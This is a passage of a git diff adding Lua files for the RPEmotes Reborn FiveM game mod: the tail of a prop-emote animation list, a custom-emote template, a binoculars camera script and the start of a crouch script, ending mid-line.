"drx@skateboard2", + "drx", + "Skateboard - Hold Male DRX", + AnimationOptions = { + Prop = "taymckenzienz_skateboard02", + PropBone = 64080, + PropPlacement = { + 0.2670, + -0.0060, + 0.0560, + -0.2472, + -13.1506, + -33.6511 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["skatehold8"] = { --- Custom Emote By DRX Animations + "drx@skateboard2", + "drx", + "Skateboard - Hold Female DRX", + AnimationOptions = { + Prop = "taymckenzienz_skateboard01", + PropBone = 64080, + PropPlacement = { + 0.2670, + -0.0060, + 0.0560, + -0.2472, + -13.1506, + -33.6511 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["mafia"] = { -- Custom Emote By Chocoholic Animations + "chocoholic@single12", + "single12_clip", + "Mafia Boss - Gun Point", + AnimationOptions = { + Prop = "w_pi_revolver_b", + PropBone = 28422, + PropPlacement = { + 0.1150, + 0.0590, + -0.0100, + -69.7101, + 1.4074, + -13.7554 + }, + SecondProp = 'prop_cigar_01', + SecondPropBone = 17188, + SecondPropPlacement = { + 0.0450, + 0.0130, + 0.0170, + 0.0, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = true, + PtfxAsset = "scr_mp_cig", + PtfxName = "ent_anim_cig_smoke", + PtfxNoProp = false, + PtfxPlacement = { + 0.0615, + 0.0, + 0.0, + 0.0, + 0.0, + 0.0, + 1.5 + }, + PtfxInfo = Translate('smoke'), + PtfxWait = 0.8, + PtfxCanHold = true + } + }, + ["shield"] = { + "beachanims@molly", + "beachanim_surf_clip", + "Shield", + AnimationOptions = { + Prop = "prop_riot_shield", + PropBone = 18905, + PropPlacement = { + -0.04, + -0.06, + 0.0, + 4.04, + 108.17, + -17.48 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["shield2"] = { + "beachanims@molly", + "beachanim_surf_clip", + "Shield 2", + AnimationOptions = { + Prop = "prop_ballistic_shield", + PropBone = 18905, + PropPlacement = { + 0.01, + -0.1, + -0.07, + 1.83, + 105.38, + -10.14 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["cofpose"] = { + "chocoholic@single23", + "single23_clip", + "Coffee & Burger Pose", + AnimationOptions = { + Prop = "prop_fib_coffee", + PropBone = 28422, + PropPlacement = { + 0.0720, + 0.0390, + -0.0230, + -125.8797, + -168.4347, + 17.4518 + }, + SecondProp = 'prop_cs_burger_01', + SecondPropBone = 60309, + SecondPropPlacement = { + 0.0860, + 0.0030, + 0.0570, + 106.1459, + 8.0371, + 17.0945 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["holster6"] = { + "anim@hlstr_7360_torch", + "flsh_ps", + "Holster 6 - Flash Light", + AnimationOptions = { + Prop = 'prop_cs_police_torch_02', + PropBone = 60309, + PropPlacement = { + 0.0550, + -0.0200, + 0.0370, + -29.6216, + -8.6822, + 4.9809 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["holster8"] = { + "anim@holster_walk_torch", + "flash_ps", + "Holster 8 Flashlight 2", + AnimationOptions = { + Prop = 'prop_cs_police_torch_02', + PropBone = 60309, + PropPlacement = { + 0.0600, + -0.0100, + 0.0200, + -20.0000, + 0.0000, + 3.9999 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["heartprop"] = { + "anim@heists@box_carry@", + "idle", + "Heart Prop", + AnimationOptions = { + Prop = 'brum_heart', + PropBone = 28422, + PropPlacement = { + -0.5600, + 0.0240, + -0.3690, + -10.0000, + 0.0000, + -0.0000 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["popcorn"] = { + "amb@code_human_wander_drinking@female@base", + "static", + "Popcorn", + AnimationOptions = { + Prop = 'prop_taymckenzienz_popcorn', + PropBone = 28422, + PropPlacement = { + -0.0200, + -0.0100, + -0.0700, + -179.3626, + 176.9331, + 11.9833 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["sax"] = { + "play_saxophone@dark", + "play_saxophone_clip", + "Saxophone 1", + AnimationOptions = { + Prop = 'rpemotes_prop_saxophone01', + PropBone = 57005, + PropPlacement = { + 0.0700, + 0.0400, + 0.0300, + -71.2242, + 29.3364, + 5.9514 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["sax2"] = { + "play_saxophone@dark", + "play_saxophone_clip", + "Saxophone 2", + AnimationOptions = { + Prop = 'rpemotes_prop_saxophone02', + PropBone = 57005, + PropPlacement = { + 0.0700, + 0.0400, + 0.0300, + -71.2242, + 29.3364, + 5.9514 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["poolcue"] = { + "pool_pack_1@dark", + "pool_pack_1_clip", + "Play Pool", + AnimationOptions = { + Prop = 'prop_pool_cue', + PropBone = 57005, + PropPlacement = { + 0.0900, + 0.2000, + 0.0800, + -61.4338, + -7.2194, + 3.1642 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["poolcue2"] = { + "pool_pack_2@dark", + "pool_pack_2_clip", + "Play Pool 2 (Pose)", + AnimationOptions = { + Prop = 'prop_pool_cue', + PropBone = 57005, + PropPlacement = { + 0.1200, + -0.5200, + -0.1200, + -78.0400, + -1.4526, + 1.8479 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["poolcue3"] = { + "pool_pack_3@dark", + "pool_pack_3_clip", + "Play Pool 3 (Pose)", + AnimationOptions = { + Prop = 'prop_pool_cue', + PropBone = 57005, + PropPlacement = { + 0.1200, + -0.3500, + -0.0200, + -90.0000, + 0.0, + 0.0 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["poolcue4"] = { + "pool_pack_4@dark", + "pool_pack_4_clip", + "Play Pool 4 (Pose)", + AnimationOptions = { + Prop = 'prop_pool_cue', + PropBone = 61163, + PropPlacement = { + 0.2600, + -0.1600, + -0.3100, + -31.8144, + 14.4214, + -13.2854 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["poolcue5"] = { + "pool_pack_5@dark", + "pool_pack_5_clip", + "Play Pool 5", + AnimationOptions = { + Prop = 'prop_pool_cue', + PropBone = 57005, + PropPlacement = { + 0.0700, + 0.5500, + 0.1000, + -76.6157, + -9.5838, + 2.9748, + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["basket"] = { + "missfbi4prepp1", + "idle", + "Basket", + AnimationOptions = { + Prop = 'bzzz_prop_shop_basket_a', + PropBone = 57005, + PropPlacement = { + 0.34, + -0.25, + -0.24, + -146.0, + 115.0, + 19.0, + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["basket2"] = { + "missfbi4prepp1", + "idle", + "Basket 2", + AnimationOptions = { + Prop = 'bzzz_prop_shop_basket_b', + PropBone = 57005, + PropPlacement = { + 0.34, + -0.25, + -0.24, + -146.0, + 115.0, + 19.0, + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["power"] = { + "move_weapon@jerrycan@generic", + "idle", + "Power House", + AnimationOptions = { + Prop = 'prop_bzzz_elektro_powerhouse001', + PropBone = 57005, + PropPlacement = { + 0.11, + 0.06, + 0.0, + 98.0, + 12.0, + -99.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["wlight"] = { + "missfbi4prepp1", + "idle", + "Weed Light", + AnimationOptions = { + Prop = 'prop_bzzz_drugs_light001', + PropBone = 57005, + PropPlacement = { + 0.08, + 0.18, + -0.02, + -130.0, + 0.0, + -90.0 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["businessbag"] = { --- Custom Emote Provided To RPEmotes Courtesy Of Mr Witt + "mrwitt@dark_appearance_with_bag_male", + "mrwitt", + "Business Bag", + AnimationOptions = { + Prop = 'prop_med_bag_01b', + PropBone = 60309, + PropPlacement = { + 0.3050, + 0.0200, + 0.0790, + 43.8282, + -54.1834, + -88.4424 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["businessbag2"] = { --- Custom Emote Provided To RPEmotes Courtesy Of Mr Witt + "mrwitt@dark_appearance_with_bag_male", + "mrwitt", + "Business Bag - Pose", + AnimationOptions = { + Prop = 'prop_med_bag_01b', + PropBone = 60309, + PropPlacement = { + 0.3050, + 0.0200, + 0.0790, + 43.8282, + -54.1834, + -88.4424 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["squatcash"] = { --- Custom Emote Provided To RPEmotes Courtesy Of Mr Witt + "mrwitt@checked_shirt_squat_male", + "mrwitt", + "Squat Cash - Pose", + AnimationOptions = { + Prop = 'prop_cash_pile_02', + PropBone = 28422, + PropPlacement = { + 0.0880, + 0.0440, + 0.0030, + 149.6422, + -164.7312, + 25.2203 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["squatmask"] = { --- Custom Emote Provided To RPEmotes Courtesy Of Mr Witt + "mrwitt@selfie02_male", + "mrwitt", + "Squat Mask Red - Pose", + AnimationOptions = { + Prop = 'scarymask1', + PropBone = 64065, + PropPlacement = { + 0.0200, + 0.1700, + -0.0210, + 0.0000, + 0.0000, + 0.0000, + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["squatmask1"] = { --- Custom Emote Provided To RPEmotes Courtesy Of Mr Witt + "mrwitt@selfie02_male", + "mrwitt", + "Squat Mask White - Pose", + AnimationOptions = { + Prop = 'scarymask2', + PropBone = 64065, + PropPlacement = { + 0.0200, + 0.1700, + -0.0210, + 0.0000, + 0.0000, + 0.0000, + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["squatmask2"] = { --- Custom Emote Provided To RPEmotes Courtesy Of Mr Witt + "mrwitt@selfie02_male", + "mrwitt", + "Squat Mask Black - Pose", + AnimationOptions = { + Prop = 'scarymask3', + PropBone = 64065, + PropPlacement = { + 0.0200, + 0.1700, + -0.0210, + 0.0000, + 0.0000, + 0.0000, + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["selfiesquat"] = { --- Custom Emote Provided To RPEmotes Courtesy Of Mr Witt + "mrwitt@selfie02_male", + "mrwitt", + "Selfie Squat Male", + AnimationOptions = { + Prop = 'prop_cash_pile_02', + PropBone = 26614, + PropPlacement = { + 0.0300, + -0.0300, + 0.0700, + -90.0000, + -180.0000, + 6.9999 + }, + SecondProp = 'prop_phone_taymckenzienz', + PropTextureVariations = { + { Name = "Blue", Value = 0 }, + { Name = "Green", Value = 1 }, + { Name = "Dark Red", Value = 2 }, + { Name = "Orange", Value = 3 }, + { Name = "Grey", Value = 4 }, + { Name = "Purple", Value = 5 }, + { Name = "Pink", Value = 6 }, + { Name = "Black", Value = 7 }, + }, + SecondPropBone = 64112, + SecondPropPlacement = { + 0.0180, + 0.0380, + 0.0260, + 179.6474, + -177.9691, + 9.9938 + }, + PtfxAsset = "scr_tn_meet", + PtfxName = "scr_tn_meet_phone_camera_flash", + PtfxPlacement = { + -0.015, + 0.0, + 0.041, + 0.0, + 0.0, + 0.0, + 1.0 + }, + PtfxInfo = Translate('camera'), + PtfxWait = 200, + EmoteLoop = true, + } + }, + ["femscaremask"] = { -- Animation by MrWitt + "mrwitt@helloween4_f", + "mrwitt", + "Female Scary Mask Red - Pose", + AnimationOptions = { + Prop = 'scarymask1', -- Prop by Vedere + PropBone = 64064, + PropPlacement = { + -0.0460, + 0.1170, + 0.0850, + 21.9542799, + -81.9467213, + 9.0687101 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["femscaremask2"] = { -- Animation by MrWitt + "mrwitt@helloween4_f", + "mrwitt", + "Female Scary Mask Black - Pose", + AnimationOptions = { + Prop = 'scarymask2', -- Prop by Vedere + PropBone = 64064, + PropPlacement = { + -0.0460, + 0.1170, + 0.0850, + 21.9542799, + -81.9467213, + 9.0687101 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["femscaremask3"] = { -- Animation by MrWitt + "mrwitt@helloween4_f", + "mrwitt", + "Female Scary Mask White - Pose", + AnimationOptions = { + Prop = 'scarymask3', -- Prop by Vedere + PropBone = 64064, + PropPlacement = { + -0.0460, + 0.1170, + 0.0850, + 21.9542799, + -81.9467213, + 9.0687101 + }, + EmoteLoop = true, + EmoteMoving = true + }, + }, + ["raiseglass"] = { -- Custom Animation by Chocoholic Animations + "chocoholic@duo32", + "duo32_clip", + "Raise Your Glass", + AnimationOptions = { + Prop = 'p_champ_flute_s', + PropBone = 64065, + PropPlacement = { + 0.0140, + 0.0310, + -0.0990, + 0.0000, + 0.0000, + 0.0000 + }, + EmoteLoop = true, + EmoteMoving = true + }, + }, + ["raiseglass2"] = { -- Custom Animation by Chocoholic Animations + "chocoholic@duo34", + "duo34_clip", + "Raise Your Glass 2", + AnimationOptions = { + Prop = 'p_champ_flute_s', + PropBone = 64065, + PropPlacement = { + 0.0260, + 0.0190, + -0.1280, + -14.9999, + 0.0000, + -2.9999 + }, + EmoteLoop = true, + EmoteMoving = true + }, + }, + ["squatgunpose2"] = { --- Custom Emote By Darks Animations + "ganggirls_pose2@darks37", + "ganggirls_pose2_clip", + "Squat Gun Pose 2 - Right", + AnimationOptions = { + Prop = 'w_pi_pistolsmg_m31', + PropBone = 26614, + PropPlacement = { + 0.0260, + -0.0280, + 0.0980, + -4.8222, + -6.9836, + 23.6186 + }, + EmoteLoop = true, + }, + }, + ["rap2"] = { --- Custom Emote Provided To RPEmotes Courtesy Of Darks Animations + "mic_pose_1@darksj", + "mic_pose_1_clip", + "Rap / Sing 2 - Microhpone", + AnimationOptions = { + Prop = 'sf_prop_sf_mic_01a', + PropBone = 28422, + PropPlacement = { + 0.0680, + 0.0190, + -0.0220, + 0.0000, + 0.0000, + 170.0000 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["rap3"] = { --- Custom Emote Provided To RPEmotes Courtesy Of Darks Animations + "mic_pose_2@darksj", + "mic_pose_2_clip", + "Rap / Sing 3 - Microhpone Rock Hand Sign", + AnimationOptions = { + Prop = 'sf_prop_sf_mic_01a', + PropBone = 28422, + PropPlacement = { + 0.0680, + 0.0190, + -0.0220, + 0.0000, + 0.0000, + 170.0000 + }, + EmoteLoop = true, + EmoteMoving = true + } + }, + ["rap4"] = { --- Custom Emote Provided To RPEmotes Courtesy Of Darks Animations + "mic_pose_3@darksj", + "mic_pose_3_clip", + "Rap / Sing 4 - Microhpone Bend Back", + AnimationOptions = { + Prop = 'sf_prop_sf_mic_01a', + PropBone = 28422, + PropPlacement = { + 0.0680, + 0.0190, + -0.0220, + 0.0000, + 0.0000, + 170.0000 + }, + EmoteLoop = true, + EmoteMoving = false + } + }, + ["rap5"] = { --- Custom Emote Provided To RPEmotes Courtesy Of Darks Animations + "mic_pose_4@darksj", + "mic_pose_4_clip", + "Rap / Sing 5 - Microhpone Kneel", + AnimationOptions = { + Prop = 'sf_prop_sf_mic_01a', + PropBone = 28422, + PropPlacement = { + 0.0680, + 0.0190, + -0.0220, + 0.0000, + 0.0000, + 170.0000 + }, + EmoteLoop = true, + EmoteMoving = false, + ExitEmote = "getup", + ExitEmoteType = "Exits" + } + }, + ["rap6"] = { --- Custom Emote Provided To RPEmotes Courtesy Of Darks Animations + "mic_pose_5_a@darksj", + "mic_pose_5_a_clip", + "Rap / Sing 6 - Microhpone", + AnimationOptions = { + Prop = 'sf_prop_sf_mic_01a', + PropBone = 28422, + PropPlacement = { + 0.0680, + 0.0190, + -0.0220, + 0.0000, + 0.0000, + 170.0000 + }, + EmoteLoop = true, + EmoteMoving = true, + } + }, + ["bbat"] = { --- Custom Emote Provided To RPEmotes Courtesy Of Darks Animations + "bat@sel", + "bat_clip", + "Baseball Bat Pose", + AnimationOptions = { + Prop = 'p_cs_bbbat_01', + PropBone = 28422, + PropPlacement = { + 0.0600, + 0.0700, + 0.0100, + -73.8317, + 0.8479, + -12.8826 + }, + EmoteLoop = true, + EmoteMoving = false, + } + }, + ["stopsign"] = { --- Custom Prop By PNWParksFan + "amb@world_human_janitor@male@base", + "base", + "Stop Sign", + AnimationOptions = { + Prop = 'prop_flagger_sign_01', + PropBone = 28422, + PropPlacement = { + 0.0000, + 0.0000, + -0.6800, + 0.0000, + 0.0000, + -50.0000 + }, + EmoteLoop = true, + EmoteMoving = true, + } + }, + ["stopsign2"] = { --- Custom Prop By PNWParksFan + "amb@world_human_janitor@male@base", + "base", + "Stop Sign 2 - Slow Down", + AnimationOptions = { + Prop = 'prop_flagger_sign_01', + PropBone = 28422, + PropPlacement = { + 0.0000, + 0.0000, + -0.6800, + 0.0000, + 0.0000, + 120.0000 + }, + EmoteLoop = true, + EmoteMoving = true, + } + }, + ["stopsign3"] = { --- Custom Prop By PNWParksFan + "special_ped@griff@base", + "base", + "Stop Sign 3 - Stop", + AnimationOptions = { + Prop = 'prop_flagger_sign_02', + PropBone = 28422, + PropPlacement = { + 0.0200, + 0.0200, + -0.2600, + 169.9999, + -180.0000, + 59.9999 + }, + EmoteLoop = true, + EmoteMoving = true, + } + }, + ["stopsign4"] = { --- Custom Prop By PNWParksFan + "special_ped@griff@base", + "base", + "Stop Sign 4 - Slow Down", + AnimationOptions = { + Prop = 'prop_flagger_sign_02', + PropBone = 28422, + PropPlacement = { + 0.0200, + 0.0200, + -0.2600, + 10.0000, + 0.0000, + -59.9999 + }, + EmoteLoop = true, + EmoteMoving = true, + } + } + +} diff --git a/resources/rpemotesreborn1.6.0/client/AnimationListCustom.lua b/resources/rpemotesreborn1.6.0/client/AnimationListCustom.lua new file mode 100644 index 000000000..0cfa4aafa --- /dev/null +++ b/resources/rpemotesreborn1.6.0/client/AnimationListCustom.lua @@ -0,0 +1,33 @@ +-- Emotes you add in the file will automatically be added to AnimationList.lua +-- If you have multiple custom list files they MUST be added between AnimationList.lua and Emote.lua in fxmanifest.lua! +-- Don't change 'CustomDP' it is local to this file! + +-- Remove the } from the = {} then enter your own animation code --- +-- Don't forget to close the tables. + +local CustomDP = {} + +CustomDP.Expressions = {} +CustomDP.Walks = {} +CustomDP.Shared = {} +CustomDP.Dances = {} +CustomDP.AnimalEmotes = {} +CustomDP.Exits = {} +CustomDP.Emotes = {} +CustomDP.PropEmotes = {} + +----------------------------------------------------------------------------------------- +--| I don't think you should change the code below unless you know what you are doing |-- +----------------------------------------------------------------------------------------- + +function LoadAddonEmotes() + for arrayName, array in pairs(CustomDP) do + if RP[arrayName] then + for emoteName, emoteData in pairs(array) do + RP[arrayName][emoteName] = emoteData + end + end + end + -- Free memory + CustomDP = nil +end diff --git a/resources/rpemotesreborn1.6.0/client/Binoculars.lua b/resources/rpemotesreborn1.6.0/client/Binoculars.lua new file mode 100644 index 000000000..38d64a96d --- /dev/null +++ b/resources/rpemotesreborn1.6.0/client/Binoculars.lua @@ -0,0 +1,268 @@ +IsUsingBinoculars = false +if Config.BinocularsEnabled then + RegisterCommand("binoculars", function() + UseBinocular() + end) + TriggerEvent('chat:addSuggestion', '/binoculars', 'Use binoculars', {}) + + + local fov_max = 70.0 + local fov_min = 10.0 -- max zoom level (smaller fov is more zoom) + local zoomspeed = 10.0 -- camera zoom speed + local speed_lr = 8.0 -- speed by which the camera pans left-right + local speed_ud = 8.0 -- speed by which the camera pans up-down + local fov = (fov_max + fov_min) * 0.5 + local index = 0 + prop_binoc = nil + local instructions = true + + -- INSTRUCTIONAL BUTTONS + + function SetupButtons(button) + local scaleform = RequestScaleformMovie("instructional_buttons") + while not HasScaleformMovieLoaded(scaleform) do + Wait(10) + end + PushScaleformMovieFunction(scaleform, "CLEAR_ALL") + PopScaleformMovieFunctionVoid() + + PushScaleformMovieFunction(scaleform, "SET_CLEAR_SPACE") + PushScaleformMovieFunctionParameterInt(200) + PopScaleformMovieFunctionVoid() + + for i, btn in pairs(button) do + PushScaleformMovieFunction(scaleform, "SET_DATA_SLOT") + PushScaleformMovieFunctionParameterInt(i - 1) + ScaleformMovieMethodAddParamPlayerNameString(GetControlInstructionalButton(0, btn.key, true)) + BeginTextCommandScaleformString("STRING") + AddTextComponentScaleform(Translate(btn.text)) + EndTextCommandScaleformString() + PopScaleformMovieFunctionVoid() + end + + PushScaleformMovieFunction(scaleform, "DRAW_INSTRUCTIONAL_BUTTONS") + PopScaleformMovieFunctionVoid() + + return scaleform + end + + + -- MAIN FUNCTION + function UseBinocular() + if IsPedSittingInAnyVehicle(PlayerPedId()) then + return + end + if isInActionWithErrorMessage({ ['IsUsingBinoculars'] = true }) then + return + end + IsUsingBinoculars = not IsUsingBinoculars + + if IsUsingBinoculars then + CreateThread(function() + + DestroyAllProps() + ClearPedTasks(PlayerPedId()) + RequestAnimDict("amb@world_human_binoculars@male@idle_a") + while not HasAnimDictLoaded("amb@world_human_binoculars@male@idle_a") do + Wait(5) + end + + -- attach the prop to the player + local boneIndex = GetPedBoneIndex(PlayerPedId(), 28422) + local x, y, z = table.unpack(GetEntityCoords(PlayerPedId(), true)) + if not HasModelLoaded("prop_binoc_01") then + LoadPropDict("prop_binoc_01") + end + prop_binoc = CreateObject(GetHashKey("prop_binoc_01"), x, y, z + 0.2 , true, true, true) + AttachEntityToEntity(prop_binoc, PlayerPedId(), boneIndex, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, true, true, false, true, 1, true) + + TaskPlayAnim(PlayerPedId(), "amb@world_human_binoculars@male@idle_a", "idle_c", 5.0, 5.0, -1, 51, 0, 0, 0, 0) + PlayAmbientSpeech1(PlayerPedId(), "GENERIC_CURSE_MED", "SPEECH_PARAMS_FORCE") + SetCurrentPedWeapon(PlayerPedId(), GetHashKey("WEAPON_UNARMED"), true) + + RemoveAnimDict("amb@world_human_binoculars@male@idle_a") + SetModelAsNoLongerNeeded("prop_binoc_01") + + end) + Wait(200) + SetTimecycleModifier("default") + SetTimecycleModifierStrength(0.3) + local scaleform_bin = RequestScaleformMovie("BINOCULARS") + while not HasScaleformMovieLoaded(scaleform_bin) do + Wait(10) + end + + local cam = CreateCam("DEFAULT_SCRIPTED_FLY_CAMERA", true) + + AttachCamToEntity(cam, PlayerPedId(), 0.0, 0.0, 1.2, true) + SetCamRot(cam, 0.0, 0.0, GetEntityHeading(PlayerPedId())) + SetCamFov(cam, fov) + RenderScriptCams(true, false, 0, 1, 0) + PushScaleformMovieFunction(scaleform_bin, "SET_CAM_LOGO") + PushScaleformMovieFunctionParameterInt(0) -- 0 for nothing, 1 for LSPD logo + PopScaleformMovieFunctionVoid() + + local keyList = nil + if Config.AllowVisionsToggling then + keyList = { + { key = 177, text = 'exit_binoculars' }, + { key = 19, text = 'toggle_binoculars_vision' }, + { key = 47, text = 'toggle_instructions' } + } + else + keyList = { + { key = 177, text = 'exit_binoculars' }, + { key = 47, text = 'toggle_instructions' } + } + end + local scaleform_instructions = SetupButtons(keyList) + -- MAIN LOOP + while IsUsingBinoculars and not IsEntityDead(PlayerPedId()) and not IsPedSittingInAnyVehicle(PlayerPedId()) do + if IsControlJustPressed(0, 177) then + PlaySoundFrontend(-1, "SELECT", "HUD_FRONTEND_DEFAULT_SOUNDSET", false) + IsUsingBinoculars = false + end + + local zoomvalue = (1.0 / (fov_max - fov_min)) * (fov - fov_min) + CheckInputRotation(cam, zoomvalue) + + HandleZoom(cam) + HideHUDThisFrame() + DisableControlAction(0,25,true) -- disable aim + DisableControlAction(0, 44, true) -- INPUT_COVER + DisableControlAction(0, 37, true) -- INPUT_SELECT_WEAPON + DisableControlAction(0, 24, true) -- Attack + DisablePlayerFiring(PlayerPedId(), true) -- Disable weapon firing + + + if IsControlJustPressed(0, 19) and Config.AllowVisionsToggling then + -- if index = 0, toggle night vision, if index = 1, toggle thermal vision, if index = 2, toggle normal vision and reset index + if index == 0 then + SetNightvision(true) + PlaySoundFrontend(-1, "SELECT", "HUD_FRONTEND_DEFAULT_SOUNDSET", false) + index = index + 1 + elseif index == 1 then + SetSeethrough(true) + SetNightvision(false) + PlaySoundFrontend(-1, "SELECT", "HUD_FRONTEND_DEFAULT_SOUNDSET", false) + index = index + 1 + elseif index == 2 then + SetNightvision(false) + SetSeethrough(false) + PlaySoundFrontend(-1, "SELECT", "HUD_FRONTEND_DEFAULT_SOUNDSET", false) + index = 0 + end + end + + if IsControlJustPressed(0, 47) then + if not instructions then + instructions = true + PlaySoundFrontend(-1, "SELECT", "HUD_FRONTEND_DEFAULT_SOUNDSET", false) + else + instructions = false + PlaySoundFrontend(-1, "SELECT", "HUD_FRONTEND_DEFAULT_SOUNDSET", false) + end + end + + DrawScaleformMovieFullscreen(scaleform_bin, 255, 255, 255, 255) + if instructions then + DrawScaleformMovieFullscreen(scaleform_instructions, 255, 255, 255, 255) + end + Wait(1) + end + end + + -- RESET EVERYTHING + IsUsingBinoculars = false + index = 0 + ClearPedTasks(PlayerPedId()) + ClearTimecycleModifier() + fov = (fov_max + fov_min) * 0.5 + RenderScriptCams(false, false, 0, 1, 0) + SetScaleformMovieAsNoLongerNeeded(scaleform) + DestroyCam(cam, false) + DeleteEntity(prop_binoc) + SetNightvision(false) + SetSeethrough(false) + end + + -- UTILS + function HideHUDThisFrame() + HideHelpTextThisFrame() + HideHudAndRadarThisFrame() + HideHudComponentThisFrame(19) -- weapon wheel + HideHudComponentThisFrame(1) -- Wanted Stars + HideHudComponentThisFrame(2) -- Weapon icon + HideHudComponentThisFrame(3) -- Cash + HideHudComponentThisFrame(4) -- MP CASH + HideHudComponentThisFrame(13) -- Cash Change + HideHudComponentThisFrame(11) -- Floating Help Text + HideHudComponentThisFrame(12) -- more floating help text + HideHudComponentThisFrame(15) -- Subtitle Text + HideHudComponentThisFrame(18) -- Game Stream + end + + function CheckInputRotation(cam, zoomvalue) + local rightAxisX = GetDisabledControlNormal(0, 220) + local rightAxisY = GetDisabledControlNormal(0, 221) + local rotation = GetCamRot(cam, 2) + if rightAxisX ~= 0.0 or rightAxisY ~= 0.0 then + local new_z = rotation.z + rightAxisX * -1.0 * (speed_ud) * (zoomvalue + 0.1) + local new_x = math.max(math.min(20.0, rotation.x + rightAxisY * -1.0 * (speed_lr) * (zoomvalue + 0.1)), -29.5) + SetCamRot(cam, new_x, 0.0, new_z, 2) + end + end + + + + + function HandleZoom(cam) + local lPed = PlayerPedId() + if not (IsPedSittingInAnyVehicle(lPed)) then + if IsControlJustPressed(0, 241) then -- Scrollup + fov = math.max(fov - zoomspeed, fov_min) + end + if IsControlJustPressed(0, 242) then + fov = math.min(fov + zoomspeed, fov_max) -- ScrollDown + end + local current_fov = GetCamFov(cam) + if math.abs(fov - current_fov) < 0.1 then + fov = current_fov + end + SetCamFov(cam, current_fov + (fov - current_fov) * 0.05) + else + if IsControlJustPressed(0, 17) then -- Scrollup + fov = math.max(fov - zoomspeed, fov_min) + end + if IsControlJustPressed(0, 16) then + fov = math.min(fov + zoomspeed, fov_max) -- ScrollDown + end + local current_fov = GetCamFov(cam) + if math.abs(fov - current_fov) < 0.1 then -- the difference is too small, just set the value directly to avoid unneeded updates to FOV of order 10^-5 + fov = current_fov + end + SetCamFov(cam, current_fov + (fov - current_fov) * 0.05) -- Smoothing of camera zoom + end + end + + AddEventHandler('onResourceStop', function(resource) + if resource == GetCurrentResourceName() then + if IsUsingBinoculars then + ClearPedTasks(PlayerPedId()) + ClearTimecycleModifier() + RenderScriptCams(false, false, 0, 1, 0) + SetScaleformMovieAsNoLongerNeeded(scaleform_bin) + SetScaleformMovieAsNoLongerNeeded(scaleform_instructions) + DestroyCam(cam, false) + DeleteEntity(prop_binoc) + SetNightvision(false) + SetSeethrough(false) + end + end + end) + + -- add export + exports('toggleBinoculars', function() + UseBinocular() + end) +end diff --git a/resources/rpemotesreborn1.6.0/client/Crouch.lua b/resources/rpemotesreborn1.6.0/client/Crouch.lua new file mode 100644 index 000000000..0ee1e8134 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/client/Crouch.lua @@ -0,0 +1,487 @@ +IsProne = false +local isCrouched = false +local isCrawling = false +local inAction = false +local proneType = "onfront" +local lastKeyPress = 0 + +-- Crouching -- +local function ResetCrouch() + local playerPed = PlayerPedId() + + ResetPedStrafeClipset(playerPed) + ResetPedWeaponMovementClipset(playerPed) + SetPedMaxMoveBlendRatio(playerPed, 1.0) + SetPedCanPlayAmbientAnims(playerPed, true) + + -- Applies the previous walk style (or resets to default if non had been set) + local walkStyle = GetResourceKvpString("walkstyle") + if walkStyle ~= nil then + RequestWalking(walkStyle) + SetPedMovementClipset(playerPed, walkStyle, 0.6) + RemoveAnimSet(walkStyle) + else + ResetPedMovementClipset(playerPed, 0.5) + end + + RemoveAnimSet("move_ped_crouched") +end + +local function CrouchThread() + CreateThread(function() + local playerId = PlayerId() + + while isCrouched do + local playerPed = PlayerPedId() + + -- Checks if the player is falling, in vehicle, dead etc. + if not CanPlayerCrouchCrawl(playerPed) then + isCrouched = false + break + end + + -- Limit the speed that the player can walk when aiming + if IsPlayerAiming(playerId) then + SetPedMaxMoveBlendRatio(playerPed, 0.15) + end + + -- This blocks the ped from standing up and playing idle anims (this needs to be looped) + SetPedCanPlayAmbientAnims(playerPed, false) + + -- Disables "INPUT_DUCK" and blocks action mode + DisableControlAction(0, 36, true) + if IsPedUsingActionMode(playerPed) == 1 then + SetPedUsingActionMode(playerPed, false, -1, "DEFAULT_ACTION") + end + + -- Disable first person + DisableFirstPersonCamThisFrame() + + -- added to disable crouch firing which may not fit in some servers + if Config.FpsMode == true then + DisablePlayerFiring(playerId, true) -- the boolean here doesn't matter, false or true will disable firing + end + Wait(0) + end + + -- Reset walk style and ped variables + ResetCrouch() + end) +end + +local function StartCrouch() + isCrouched = true + RequestWalking("move_ped_crouched") + local playerPed = PlayerPedId() + + -- Force leave stealth mode + if GetPedStealthMovement(playerPed) == 1 then + SetPedStealthMovement(playerPed, false, "DEFAULT_ACTION") + Wait(100) + end + + -- Force leave first person view + if GetFollowPedCamViewMode() == 4 then + SetFollowPedCamViewMode(0) -- THIRD_PERSON_NEAR + end + + SetPedMovementClipset(playerPed, "move_ped_crouched", 0.6) + SetPedStrafeClipset(playerPed, "move_ped_crouched_strafing") + + CrouchThread() +end + +local function 